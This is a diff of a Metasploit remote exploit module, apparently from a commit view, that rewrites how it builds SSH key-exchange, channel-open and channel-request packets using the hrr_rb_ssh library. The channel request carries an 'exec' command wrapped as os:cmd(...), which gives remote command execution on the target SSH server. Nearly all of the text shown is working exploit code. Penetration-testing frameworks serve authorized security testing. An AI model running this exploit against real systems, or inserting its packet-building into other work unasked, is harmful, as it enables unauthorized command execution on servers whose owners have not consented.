|
2 | 2 | # This module requires Metasploit: https://metasploit.com/download |
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework |
4 | 4 | ## |
| 5 | +require 'hrr_rb_ssh/message/090_ssh_msg_channel_open' |
| 6 | +require 'hrr_rb_ssh/message/098_ssh_msg_channel_request' |
| 7 | +require 'hrr_rb_ssh/message/020_ssh_msg_kexinit' |
5 | 8 |
|
6 | 9 | class MetasploitModule < Msf::Exploit::Remote |
7 | 10 | Rank = ExcellentRanking |
@@ -80,42 +83,53 @@ def initialize(info = {}) |
80 | 83 |
|
81 | 84 | # builds SSH_MSG_CHANNEL_OPEN for session |
82 | 85 | def build_channel_open(channel_id) |
83 | | - "\x5a" + |
84 | | - string_payload('session') + |
85 | | - [channel_id].pack('N') + |
86 | | - [0x68000].pack('N') + |
87 | | - [0x10000].pack('N') |
| 86 | + msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN.new |
| 87 | + payload = { |
| 88 | + 'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_OPEN::VALUE, |
| 89 | + 'channel type': 'session', |
| 90 | + 'sender channel': channel_id, |
| 91 | + 'initial window size': 0x68000, |
| 92 | + 'maximum packet size': 0x10000 |
| 93 | + } |
| 94 | + msg.encode(payload) |
88 | 95 | end |
89 | 96 |
|
90 | 97 | # builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload |
91 | 98 | def build_channel_request(channel_id, command) |
92 | | - "\x62" + |
93 | | - [channel_id].pack('N') + |
94 | | - string_payload('exec') + |
95 | | - "\x01" + |
96 | | - string_payload("os:cmd(\"#{command}\").") |
| 99 | + msg = HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST.new |
| 100 | + payload = { |
| 101 | + 'message number': HrrRbSsh::Message::SSH_MSG_CHANNEL_REQUEST::VALUE, |
| 102 | + 'recipient channel': channel_id, |
| 103 | + 'request type': 'exec', |
| 104 | + 'want reply': true, |
| 105 | + command: "os:cmd(\"#{command}\")." |
| 106 | + } |
| 107 | + msg.encode(payload) |
97 | 108 | end |
98 | 109 |
|
99 | 110 | # builds a minimal but valid SSH_MSG_KEXINIT packet |
100 | 111 | def build_kexinit |
101 | | - cookie = SecureRandom.random_bytes(16) |
102 | | - "\x14" + |
103 | | - cookie + |
104 | | - name_list( |
105 | | - [ |
106 | | - 'curve25519-sha256', |
107 | | - 'ecdh-sha2-nistp256', |
108 | | - 'diffie-hellman-group-exchange-sha256', |
109 | | - 'diffie-hellman-group14-sha256' |
110 | | - ] |
111 | | - ) + |
112 | | - name_list(['rsa-sha2-256', 'rsa-sha2-512']) + |
113 | | - name_list(['aes128-ctr']) * 2 + |
114 | | - name_list(['hmac-sha1']) * 2 + |
115 | | - name_list(['none']) * 2 + |
116 | | - name_list([]) * 2 + |
117 | | - "\x00" + |
118 | | - [0].pack('N') |
| 112 | + msg = HrrRbSsh::Message::SSH_MSG_KEXINIT.new |
| 113 | + payload = {} |
| 114 | + payload[:"message number"] = HrrRbSsh::Message::SSH_MSG_KEXINIT::VALUE |
| 115 | + # The definition for SSH_MSG_KEXINIT in 020_ssh_msg_kexinit.rb expects each cookie byte to be its own field. The |
| 116 | + # encode method expects a hash and so we need to duplicate the "cookie (random byte)" key in the hash 16 times. |
| 117 | + 16.times do |
| 118 | + payload[:"cookie (random byte)".dup] = SecureRandom.random_bytes(1).unpack1('C') |
| 119 | + end |
| 120 | + payload[:kex_algorithms] = ['curve25519-sha256', 'ecdh-sha2-nistp256', 'diffie-hellman-group-exchange-sha256', 'diffie-hellman-group14-sha256'] |
| 121 | + payload[:server_host_key_algorithms] = ['rsa-sha2-256', 'rsa-sha2-512'] |
| 122 | + payload[:encryption_algorithms_client_to_server] = ['aes128-ctr'] |
| 123 | + payload[:encryption_algorithms_server_to_client] = ['aes128-ctr'] |
| 124 | + payload[:mac_algorithms_client_to_server] = ['hmac-sha1'] |
| 125 | + payload[:mac_algorithms_server_to_client] = ['hmac-sha1'] |
| 126 | + payload[:compression_algorithms_client_to_server] = ['none'] |
| 127 | + payload[:compression_algorithms_server_to_client] = ['none'] |
| 128 | + payload[:languages_client_to_server] = [] |
| 129 | + payload[:languages_server_to_client] = [] |
| 130 | + payload[:first_kex_packet_follows] = false |
| 131 | + payload[:"0 (reserved for future extension)"] = 0 |
| 132 | + msg.encode(payload) |
119 | 133 | end |
120 | 134 |
|
121 | 135 | # formats a list of names into an SSH-compatible string (comma-separated) |
@@ -228,13 +242,11 @@ def exploit |
228 | 242 | begin |
229 | 243 | response = sock.get_once(1024, 5) |
230 | 244 | if response |
| 245 | + print_good('Packets sent successfully and receive response from the server') |
231 | 246 | vprint_status("Received response: #{response.unpack('H*').first}") |
232 | | - print_good('Payload sent successfully') |
233 | | - else |
234 | | - print_status('No response within timeout period (which is expected)') |
235 | 247 | end |
236 | 248 | rescue Rex::TimeoutError |
237 | | - print_status('No response within timeout period (which is expected)') |
| 249 | + print_error('Connection timed out') |
238 | 250 | end |
239 | 251 | sock.close |
240 | 252 | rescue Rex::ConnectionError |
|
0 commit comments